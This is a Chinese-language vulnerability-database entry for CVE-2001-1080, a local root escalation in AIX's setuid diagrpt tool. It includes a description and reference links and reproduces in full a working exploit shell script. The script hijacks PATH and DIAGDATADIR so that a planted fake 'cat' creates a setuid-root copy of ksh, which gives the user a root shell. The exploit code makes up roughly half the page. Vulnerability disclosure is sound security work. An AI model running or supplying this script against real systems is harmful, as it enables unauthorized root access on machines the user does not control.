AIX diagrpt 本地权限提升漏洞

AIX diagrpt 本地权限提升漏洞

漏洞ID 1107347 漏洞类型 其他
发布时间 2003-05-23 更新时间 2005-05-02
图片[1]-AIX diagrpt 本地权限提升漏洞-安全小百科CVE编号 CVE-2001-1080
图片[2]-AIX diagrpt 本地权限提升漏洞-安全小百科CNNVD-ID CNNVD-200106-112
漏洞平台 AIX CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20965
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-112
|漏洞详情
CVE(CAN)ID:CVE-2001-1080diagrpt是AIX系统所带的一个诊断报告工具程序。它缺省安装时设置了setuidroot属性。当diarpt执行时,它依靠一个环境变量(“DIAGDATADIR”)来定位另一个要被执行的程序。因此,如果攻击者将”DIAGDATADIR”设置到一个他选择的目录,并在此目录下放一个特定格式的shell程序,那么当他执行diagrpt时,这个shell程序就将以root权限执行。利用此漏洞,本地攻击者可以获取root权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/2916/info

AIX ships with a diagnostic reporting utility called 'diagrpt'. This utility is installed setuid root by default.

When 'diagrpt' executes, it relies on an environment variable to locate another utility which it executes. This utility is executed by 'diagrpt' as root.

An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control. 

#!/bin/sh
# FileName: x_diagrpt.sh
# Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1.
# Author  : [email protected]
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-23
# Announce: use as your owner risk!
#
# Note    :
# It does not work on all versions of tsm command.
# Use this command to test if your version can exploit or not :
# bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
# diagrpt.cat
# cat %s  <--- here ! have the bug !!! can exploit!
#

O_DIR=`/bin/pwd`
cd /tmp ; mkdir .ex$$ ; cd .ex$$
PATH=/tmp/.ex$$:$PATH ; export PATH
/bin/cat >cat<<EOF
#!/bin/ksh -p
cp /bin/ksh ./kfsh
chown root ./kfsh
chmod 777 ./kfsh
chmod u+s ./kfsh
EOF
chmod a+x cat

DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
touch /tmp/.ex$$/diagrpt1.dat

/usr/lpp/diagnostics/bin/diagrpt -o 010101
stty echo
stty intr '^C' erase '^H' eof '^D' eol '^@'

if [ -e ./kfsh ] ;then
  echo ""
  echo "===================="
  pwd
  ls -l ./kfsh
  echo "Exploit ok ! Use this command to get a uid=0 shell :"
  echo '/usr/bin/syscall setreuid 0 0 ; execve "/bin/sh" '
  ./kfsh
else
  echo ""
  echo "Exploit false !!!!"
fi

cd /tmp ; /bin/rm  -Rf /tmp/.ex$$ ;cd $O_DIR
#EOF
|参考资料

来源:IBM
名称:MSS-OAR-E01-2001:225.1
链接:http://www-1.ibm.com/services/continuity/recover1.nsf/MSS/MSS-OAR-E01-2001.225.1/$file/oar225.txt
来源:XF
名称:aix-diagrpt-root-shell(6734)
链接:http://xforce.iss.net/static/6734.php
来源:BID
名称:2916
链接:http://www.securityfocus.com/bid/2916

相关推荐: Happymall E-Commerce Software Normal_HTML.CGI File Disclosure Vulnerability

Happymall E-Commerce Software Normal_HTML.CGI File Disclosure Vulnerability 漏洞ID 1100346 漏洞类型 Input Validation Error 发布时间 2003-05-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享